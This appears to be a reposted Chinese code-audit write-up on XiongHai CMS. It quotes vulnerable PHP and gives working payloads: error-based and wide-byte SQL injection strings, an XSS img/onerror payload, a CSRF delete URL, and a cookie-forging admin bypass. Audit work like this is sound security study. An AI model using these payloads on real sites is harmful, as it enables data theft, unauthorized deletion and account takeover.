文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

熊海CMS代码审计漏洞怎么解决

2023-07-05 06:16

关注

这篇文章主要介绍了熊海CMS代码审计漏洞怎么解决的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇熊海CMS代码审计漏洞怎么解决文章都会有所收获,下面我们一起来看看吧。

基本结构

这里我选择使用小皮面板搭建在了本地,以便于调试错误,首先我们看看系统的结构:

——admin     //后台⽂件——css       //css⽂件——files    //功能函数⽂件——images   //图⽚——index.php //主⽬录⽂件——install   //安装⽂件——seacmseditor  //编辑器——template      //模板⽂件——upload    //⽂件上传⽬录

SQL注入漏洞

第一处

我们跳转到admin/files/editlink.php,分析里面的一段代码:

$id=$_GET['id'];$type=$_GET['type'];if ($type==1){$query = "SELECT * FROM nav WHERE id='$id'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$nav = mysql_fetch_array($resul);}

简单分析一下,我们通过GET输入id和type,之后type与1进行对比,匹配后会执行SQL语句,了解SQL注入漏洞的朋友可能会看出这里有一个单引号闭合漏洞,我们只需在参数前进行构造闭合单引号,之后便可以成功执行自定义的SQL语句:

r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

需要注意的是作为结果只返回给我们SQL语句正确与否,所以这里考虑使用错报注入。

第二处

admin/files/editlink.php这个路径下有一段代码:

$id=$_GET['id'];$query = "SELECT * FROM link WHERE id='$id'";$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());$link = mysql_fetch_array($resul);

这里同样存在一个GET传参点,我们可以传入变量名为id的值,之后会执行SQL语句查询ID,若SQL语句有误,进行错报,因为是单引号闭合这里可以和第一处一样使用错报注入。

id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

第三处

/file/download.php这个路径下的代码:

$llink=addslashes($_GET['r']);$query = "SELECT * FROM nav WHERE link='$llink'";

可以看到里面有addslashes函数:

熊海CMS代码审计漏洞怎么解决

这个函数会将预定义字符转换加上反斜杠,所以我们无法进行正常的单引号闭合,需要想办法绕过,方法也很多,这里就简单用宽字节注入绕过

r=%df%27or%20if(1,sleep(3),1)%20%23

XSS漏洞

第一处

在/file/contact.php出存在漏洞代码:

$page=addslashes($_GET['page']); <?php echo $page?>

可以看到直接echo出了page变量,而该变量是我们直接可以GET传入的,这里我们直接使用弹窗payload:

<img src=1 onerror=alert(/xss/)>

第二处

在/files/content.php出,存在与第一处差不多的代码:

$page=addslashes($_GET['page']);if ($page<>""){if ($page<>1){$pages="第".$page."页 - ";}

我们也可以向上面一样将语句传进变量里去。

熊海CMS代码审计漏洞怎么解决

CSRF漏洞

第一处

这里以/admin/files/wzlist.php为例:

$delete=$_GET['delete'];if ($delete<>""){$query = "DELETE FROM content WHERE id='$delete'";$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());echo "<script>alert('亲,ID为".$delete."的内容已经成功删除!');location.href='?r=wzlist'</script>";exit;

可以看到代码执行删除SQL语句时并没有对代码进行检测,删除操作对应下面的界面:

熊海CMS代码审计漏洞怎么解决

我们先尝试删除然后进行抓包,抓到了删除时GET进行的传参:

?r=wzlist&delete=18

之后换另一个浏览器访问整个payload,结合该系统中的一个越权操作,将user改成admin,之后访问,成功实现了跳过验证进行了删除操作。

熊海CMS代码审计漏洞怎么解决

当然这只是其中的一个点,softlist.php也存在类似的CSRF漏洞。

垂直越权

第一处

在/inc/checklogin.php中,这里只看存在漏洞的代码:

$user=$_COOKIE['user'];if ($user==""){header("Location: ?r=login");exit;

这里直接给user的cookie值设置成admin,即可跳转管理员界面。

关于“熊海CMS代码审计漏洞怎么解决”这篇文章的内容就介绍到这里,感谢各位的阅读!相信大家对“熊海CMS代码审计漏洞怎么解决”知识都有一定的了解,大家如果还想学习更多知识,欢迎关注编程网行业资讯频道。

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     807人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     351人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     314人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     433人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     221人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯